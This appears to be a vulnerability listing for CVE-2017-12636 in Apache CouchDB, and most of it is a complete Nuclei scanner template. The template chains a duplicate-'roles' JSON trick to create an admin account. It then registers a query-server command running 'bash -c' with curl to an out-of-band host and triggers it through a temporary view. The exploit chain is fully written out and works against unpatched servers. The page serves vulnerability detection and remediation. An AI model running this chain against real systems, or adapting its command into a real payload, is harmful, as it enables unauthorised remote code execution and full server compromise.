CVE-2017-12636: Apache CouchDB < 1.7.0 / 2.x < 2.1.1 - Query Server Remote Code Execution

2026-11-29 PoC Public

Description

Apache CouchDB before 1.7.0 and 2.x before 2.1.1 allows database administrators to configure the query server to execute arbitrary OS commands via the _config/query_servers endpoint, and such a configuration is then triggered by running a view/temp view using the configured query server language. When combined with CVE-2017-12635 (which allows a non-admin user to grant themselves the _admin role due to a JSON parser discrepancy), this becomes effectively unauthenticated remote code execution. This template chains the CVE-2017-12635 privilege-escalation primitive to create an admin-capable session, registers a malicious query server command that performs an out-of-band interaction, and triggers it via a temporary view (CouchDB 1.x _temp_view flow; CouchDB 2.x uses /_node/<node>/_config/query_servers/ and persisted design documents instead of _temp_view, but the same query-server-command primitive applies).

Details

CVE
CVE-2017-12636 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2017-12636

info:
  name: Apache CouchDB < 1.7.0 / 2.x < 2.1.1 - Query Server Remote Code Execution
  author: DhiyaneshDk
  severity: high
  description: |
    Apache CouchDB before 1.7.0 and 2.x before 2.1.1 allows database administrators to configure the query server to execute arbitrary OS commands via the _config/query_servers endpoint, and such a configuration is then triggered by running a view/temp view using the configured query server language. When combined with CVE-2017-12635 (which allows a non-admin user to grant themselves the _admin role due to a JSON parser discrepancy), this becomes effectively unauthenticated remote code execution. This template chains the CVE-2017-12635 privilege-escalation primitive to create an admin-capable session, registers a malicious query server command that performs an out-of-band interaction, and triggers it via a temporary view (CouchDB 1.x _temp_view flow; CouchDB 2.x uses /_node/<node>/_config/query_servers/ and persisted design documents instead of _temp_view, but the same query-server-command primitive applies).
  impact: |
    Remote attackers can execute arbitrary operating system commands with the privileges of the CouchDB service account, leading to full system compromise.
  remediation: |
    Upgrade Apache CouchDB to version 1.7.0 / 2.1.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12636
    - https://www.exploit-db.com/exploits/44498
    - https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
    - https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2017-12636
    epss-score: 0.90602
    epss-percentile: 0.99871
    cwe-id: CWE-78
    cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: apache
    product: couchdb
    shodan-query:
      - product:"couchdb"
      - cpe:"cpe:2.3:a:apache:couchdb"
  tags: cve,cve2017,couchdb,apache,rce,oast,intrusive,vkev


variables:
  user: "{{rand_text_alphanumeric(8)}}"
  pass: "{{rand_text_alphanumeric(8)}}"
  marker: "{{rand_text_alpha(6)}}"
  db: "kev{{rand_int(100000, 999999)}}"
  doc: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        PUT /_users/org.couchdb.user:{{user}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "type": "user",
          "name": "{{user}}",
          "roles": ["_admin"],
          "roles": [],
          "password": "{{pass}}"
        }
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'contains(body, "\"ok\":true")'
          - 'contains(header, "CouchDB")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /_config/query_servers/{{marker}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(user + ':' + pass)}}
        Content-Type: application/json

        "bash -c {curl,-s,-m,4,http://{{interactsh-url}}}|/bin/false"
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "CouchDB")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /{{db}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(user + ':' + pass)}}
        Content-Type: application/json
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        PUT /{{db}}/{{doc}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(user + ':' + pass)}}
        Content-Type: application/json

        {"_id": "{{doc}}"}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        @timeout: 8s
        POST /{{db}}/_temp_view?limit=10 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(user + ':' + pass)}}
        Content-Type: application/json

        {"language": "{{marker}}", "map": ""}
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or
# digest: 4a0a004730450221008a98b7123e1e17555ea689454b8233eaf813f035fd82536ea07cc2f7064a3caa022028605ccc7e9d9da76f4dceb6fbecb904fceb9391e650891ee99a01af8297ca26:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life